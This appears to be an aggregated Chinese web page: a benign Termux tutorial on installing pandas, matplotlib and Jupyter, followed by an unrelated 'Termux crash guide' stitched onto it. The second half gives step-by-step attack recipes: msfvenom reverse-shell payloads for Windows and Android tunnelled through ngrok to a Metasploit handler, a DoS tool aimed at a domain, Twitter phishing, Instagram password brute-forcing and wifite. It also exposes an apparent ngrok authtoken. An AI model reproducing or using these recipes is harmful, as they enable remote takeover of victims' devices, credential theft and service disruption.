Termux 0.118版本详细安装教程,成功解决了PandasMatplotlibNumpy及Jupyter等安装失败的问题
Posted 金戈鐡馬
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Termux 0.118版本详细安装教程,成功解决了PandasMatplotlibNumpy及Jupyter等安装失败的问题相关的知识,希望对你有一定的参考价值。
前言:
网上很多关于Termux安装Matplotlib、Pandas的教程,都是依赖Python3.10或Python3.9以下的环境。今年,Termux官方又将Python升级到3.11.2之后,很多的安装方法都失效了。
环境搭建:
手机要求:android 7.0及以上
Termux版本:0.118
Python版本:3.11.2
1、安装Termux(0.118)
官网下载地址:Termux | F-Droid - Free and Open Source Android App Repository
或google play下载安装。
2、换源,由于Termux官方的源网有点慢,后期安装一些库可能会失败,这里换成国内清华大学的源网的,加快软件包下载速度。
2.1 命令行换源
sed -i 's@^\\(deb.*stable main\\)$@#\\1\\ndeb https://mirrors.tuna.tsinghua.edu.cn/termux/termux-packages-24 stable main@' $PREFIX/etc/apt/sources.list
设置完换源后,记得更新哦
pkg update
2.2 图形界面换源
在 Termux 中执行如下命令
termux-change-repo
在图形界面引导下,使用自带方向键可上下移动。
使用空格选择需要更换的仓库,然后选择 Mirrors by Tsinghua 镜像源。确认无误后回车,镜像源会自动完成更换。如下图所示:
2.3 pip手动更改下载源
pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple
三种换源方法,随便选一种即可。本人喜欢第三种,使用pip手动更改,方便。
软件安装
安装Python
pkg install python
pkg update && pkg upgrade
pandas安装
MATHLIB="m" pip install pandas
注意:
由于pandas需要的numpy版本和编译工具依赖不匹配,如果先安装numpy再安装pandas就会导致各种异常,所以直接不安装numpy即可,如果已安装了python的,先卸载python,清理所有东西,再安装Python,我的版本是3.11.2,然后直接pkg update && pkg upgrade,再执行 MATHLIB="m" pip install pandas ,即可。因为pandas需要numpy作为依赖,pandas发现没有安装numpy的时候,会自动适配安装numpy,这样就会装上正确适配了pandas的numpy,而且numpy也会被正确的安装上。还有,你直接安装numpy在Python3.11.2的Termux环境下,也会直接错误,numpy貌似没有专门维护这个问题
安装过程,如下图:
从上图红圈中,可以看出Pandas依赖的组件及版本,有兴趣的朋友,不想卸载Python或重装Termux的,可以在现有的环境中尝试安装上面的组件,看看能不能成功安装上Pandas,这只是猜想,没有经本人测试过的,不知是否可行。我的全部都是全新安装的。
Matplotlib安装:
首先需要安装Matplotlib的依赖项,如下:
#1、安装pillow依赖项
pkg install -y libjpeg-turbo libtiff
pip install pillow
#2、安装matplotlib依赖项
pkg install -y freetype libpng
pkg install matplotlib
安装过程及测试,如下图:
注意:
matplotlib在安装时候也遇到了不少问题。一开始使用 pip install matplotlib 安装,到编译时候总是报错。最后是通过 pkg install matplotlib 才成功安装上去了。
如matplotlib仍然安装不成功的小伙伴,可以使用pyecharts来代替它。个人觉得pyecharts功能比matplotlib还要强大。安装方法如下:
pip install pyecharts
Matplotlib无法显示中文的解决方法
import numpy as np
import matplotlib.pyplot as plt
#0-6的范围
x = np.array([0,6])
#0-100的范围
y = np.array([0,10])
plt.plot(x,y)
plt.xlabel("横坐标")
plt.ylabel("纵坐标")
plt.title("示例图形")
plt.show()
输出:
从上图可要看出,有中文的地方,都变成了方格。那么如何解决这个问题呢?
1、 从电脑或网上下载一个中文字体,本文中的字体我是从windows系统的字体库中直接复制出来的。
2、 以字体simhai.ttf(黑体)为例,先将字体simhai.ttf文件复制到下面的目录中
#复制前,先切换到字体所在文件夹,然后用cp命令复制文件
cp -i simhei.ttf /data/data/com.termux/files/usr/lib/python3.11/site-packages/matplotlib/mpl-data/fonts/ttf
3、切换到/data/data/com.termux/files/usr/lib/python3.11/site-packages/matplotlib/mpl-data找到matplotlibrc文件改修,如下
#去掉注释
font.family : sans-serif
#去掉注释,并在冒号后的值前添加前文提及的中文字体
font.sans-serif : DejaVu Sans, Bitstream Vera ........
如下图所示:
本文中使用的是nano编辑器,安装方法如下:
pkg install -y neovim
4、清除matplotlib缓存
rm -rf ~/.cache/matplotlib
到此,matplotlib中文乱码的问题也解决了。
5、测试
import numpy as np
import matplotlib.pyplot as plt
#显示中文
plt.rcParams['font.sans-serif'] = ['simhei']
# 用来正常显示负号
plt.rcParams['axes.unicode_minus'] = False
#0-6的范围
x = np.array([0,6])
#0-100的范围
y = np.array([0,10])
plt.plot(x,y)
plt.xlabel("横坐标")
plt.ylabel("纵坐标")
plt.title("示例图形")
plt.show()
Jupyter Notebook
Jupyter Notebook(此前被称为 iPython notebook)可以在 Web 端提供Python交互,虽然和iPython 共享同⼀个内核,但是更强⼤。
想要成功安装Jupyter,必须安装所需的依赖包,依据下面的命令按顺序执行完,就能安装成功。
pkg install -y libzmq libcrypt pkg-config
pip install jupyter
Jupyter Notebook就安装好了,先启动 notebook,在终端输入:
jupyter notebook
然后会看到运⾏的⽇志,我们复制出 提示的URL,到浏览器中打开:
OK 运⾏成功,那么回到 Termux ⾥⾯使⽤组合键 Ctrl + C -> 中⽌当前的 Jupyter 进程。
Texmux权限设置
默认情况下Termux安装到手机后,是没有后台运行权限的。这时如果在浏览器中运行jupyter notebook来执行程序,需要在Termux和浏览器之间来回切换刷新才能显示结果。这样就会很麻烦了,那么有没有像电脑那样,在浏览器中运行jupyter notebook,写完代码,按执行,直接显结果,不需要来回切换环境呢?答案:是有的。我们只需要在手机中打开”设置“找到”应用启动管理“,然后把Termux应用的自动管理关闭,再打开允许后台活动的设置就行。如下图所示:
这样就可以解决Termux和浏览器之间来回切换刷新才能显示结果的问题了。
测试:
到此结束,本文如对你有所帮助,希望能加个关注,点个赞,收藏下,谢谢。
Termux 速成指南
Termux 速成指南
- 前置
- 大侠需要趁手的兵器
- sl
- top
- figlet
- cmatrix
- fish
- toilet
- w3m
- python
- termux-ubuntu(root)
- wifite(root)
- Send SMS
- Access SMS
- Make a Call
- install Metasploit
- Installing and Configuring ngrok
- Hack Windows Machine over WAN
- Hack Android Device over WAN
- Denial of Service(DOS) Attack
- Phishing Attack
- Brute Force Attack
- RedHawk Tool
- ReconDog Tool
- AngryFuzzer Tool
- C-Program
- C++ Program
- Python Program
前置
建议通过 F-Droid
来安装Termux,不要在网上随便找一个App安装。F-Droid 是一个类似Google Play的软件市场。
Termux 下载:https://termux.com/
Android 手机:root 权限,可找淘宝,最快十分钟,20 RMB。
输入命令:apt update
大侠需要趁手的兵器
安装命令:pkg install xxx
sl
安装命令:pkg install sl
执行命令:sl
一俩火车缓缓驶过······
top
查看正在运行的进程。
打开新窗口。
figlet
安装命令:pkg install figlet
执行命令:figlet Newyork
cmatrix
安装命令:pkg install cmatrix
执行命令:cmatrix
数字雨。
fish
安装命令:pkg install fish
执行命令:fish
清屏。
输入:exit,退出。
toilet
安装命令:pkg install toilet
执行命令:toilet -f mono12 -F gay Newyork
w3m
安装命令:pkg install w3m
执行命令:w3m facebook.com
python
安装命令:apt install python
执行命令:python
进入 Python 环境。
termux-ubuntu(root)
安装命令:apt install git
执行命令:git clone https://github.com/Neo-Oli/termux-ubuntu.git
输入:ls,可以看到 termux-ubuntu,cd termux-ubuntu。
输入:sh ubuntu.sh
安装需要一些时间。
输入:./start-ubuntu.sh(root 权限)
wifite(root)
执行命令:cd termux-ubuntu
输入 ls,可以看到 start-ubuntu.sh。
执行命令:apt install git
执行命令:git clone https://github.com/derv82/wifite.git
输入 cd wifite、ls:
输入 apt install python
输入 python wifite.py
Send SMS
安装命令:apt install termux-api
执行命令:termux-sms-send -n 电话号码 短信
收到短信。
Access SMS
输入命令:termux-sms-inbox
Make a Call
输入命令:termux-telephony-call 电话号码
install Metasploit
安装前先更新一下源:pkg update && pkg upgrade
先安装repo再安装msf:pkg install unstable-repo
安装命令:pkg install metasploit(挂梯子)
如果安装失败重新安装的话,最好是清理一下数据或者卸载 msf 再重新安装:apt-get purge metasploit
输入 ls,下好后会看到:metasploit-framework
输入 cd metasploit-framework
输入 ./msfconsole 启动 msf
输入:use exploit/multi/handler
Installing and Configuring ngrok
在 ngrok 官网注册一个账号,得到连接钥匙:
连接钥匙:./ngrok authtoken 1zlW1SsZEit4d2ecv1wKG6LWZHa_45YM8aHPnz9Smyuaz9LQe
下载 ngrok,保存在 /sdcard/Download/ 这个路径。
输入命令:cd /sdcard/Download/
输入命令:ls
输入命令:cd ngrok-stable-linux-arm
输入命令:mv -v ngrok /$HOME
手指放在手机屏幕左上角,向右滑动,出现一个窗口。
点击 new session 打开新窗口。
输入命令:chmod +x ngrok
输入连接钥匙:./ngrok authtoken 1zlW1SsZEit4d2ecv1wKG6LWZHa_45YM8aHPnz9Smyuaz9LQe
输入命令:./ngrok http 80
Hack Windows Machine over WAN
输入命令:./ngrok tcp 4444
注意 Forwarding 这行(0.tcp.ngrok.io、16661),我们可以安装一个新窗口来控制此部分,成功连接,就可以入侵电脑了。
输入命令:cd metasploit-framework
输入命令:ruby msfvenom -p windows/meterpreter/reverse_tcp lhost=0.tcp.ngrok.io lport=16661 -f exe R > /sdcard/windowshack.exe
可以下载一个 MT 文件管理器,搜索 windowshack.exe,点击打开
输入命令:./msfconsole
输入命令:use exploit/multi/handler
输入命令:set payload windows/meterpreter/reverse_tcp
输入命令:set lhost 127.0.0.1
输入命令:set lport 4444
输入命令:exploit,稍等。
输入命令:sysinfo
Hack Android Device over WAN
输入命令:./ngrok tcp 4444
注意 Forwarding 这行(0.tcp.ngrok.io、16078),我们可以安装一个新窗口来控制此部分,成功连接,就可以入侵电脑了。
输入命令:cd metasploit-framework
输入命令:ruby msfvenom -p android/meterpreter /reverse_tcp lhost=0.tcp.ngrok.io lport=16078 R > /sdcard/androshack.apk
可以下载一个 MT 文件管理器,搜索 androshack.apk,点击打开
输入命令:./msfconsole
输入命令:use exploit/multi/handler
输入命令:set payload android/meterpreter/reverse_tcp
输入命令:set lhost 127.0.0.1
输入命令:set lport 4444
输入命令:exploit,稍等。
输入命令:sysinfo
Denial of Service(DOS) Attack
先更新源:apt update && upgrade -y
输入命令:apt install git
输入命令:apt install clang
输入命令:git clone https://github.com/zanyarjamal/xerxes.git
输入命令:cd xerxes
输入命令:clang xerxes.c -o xerxes
输入命令:./xerxes www.justfordemonstration.com 80
Phishing Attack
先更新源:apt update && upgrade -y
安装命令:apt install python2
执行命令:git clone https://github.com/samyoyo/weeman.git
输入命令:cd weeman
输入命令:python2 weeman.py
输入命令:apt install clang python2-dev
输入命令:pip2 install beautifulsoup4
输入命令:python2 -c import bs4
输入命令:python2 -c ‘import bs4’
输入命令:python2 weeman.py
输入命令:set url http://twitter.com
输入命令:set url https://twitter.com
输入命令:set action_url http://twitter.com
在手机浏览器打开 0.0.0.0:8080 网页:
Brute Force Attack
打开网站:https://www.weakpass.com/download
输入命令:pkg upgrade
输入命令:pkg install git
输入命令:pkg install python
输入命令:git clone https://github.com/avramit/instahack.git
输入命令:cd instahack
输入命令:nano pass.txt
在 字典 后面,加 usetexthere(自己的密码):
按图索骥:
测试密码中:
这样就获取了账号密码,去网站登录吧:
RedHawk Tool
输入命令:git clone https://github.com/Tuhinshubhra/RED_HAWK
输入命令:cd RED_HAWK
安装命令:pkg install php
输入命令:php rhawk.php
而后就会得到一系列信息。
ReconDog Tool
输入命令:pkg upgrade
输入命令:pkg install git
输入命令:pkg install python2
输入命令:git clone https://github.com/UltimateHackers/ReconDog.git
输入命令:cd ReconDog
输入命令:ls
输入命令:chmod +x dog.py
输入命令:python2 dog.py
按图索骥:
AngryFuzzer Tool
输入命令:pkg upgrade
输入命令:pkg install git
输入命令:pkg install python2
输入命令:git clone https://github.com/ihebski/angryFuzzer
输入命令:cd angryFuzzer
输入命令:pip2 install -r requirements.txt
输入命令:pip2 install requests
输入命令:python2 angryFuzzer.py -h
输入命令:python2 angryFuzzer.py -u https://hack.me
C-Program
输入命令:apt install clang
输入命令:apt install nano
输入命令:nano demo.c
输入命令:clang demo.c
输入命令:ls
输入命令:./a.out
C++ Program
输入命令:nano demo.cpp
输入命令:clang++ demo.cpp
输入命令:./a.out
Python Program
输入命令:apt install python
输入命令:nano demo.py
输入命令:python demo.py
以上是关于Termux 0.118版本详细安装教程,成功解决了PandasMatplotlibNumpy及Jupyter等安装失败的问题的主要内容,如果未能解决你的问题,请参考以下文章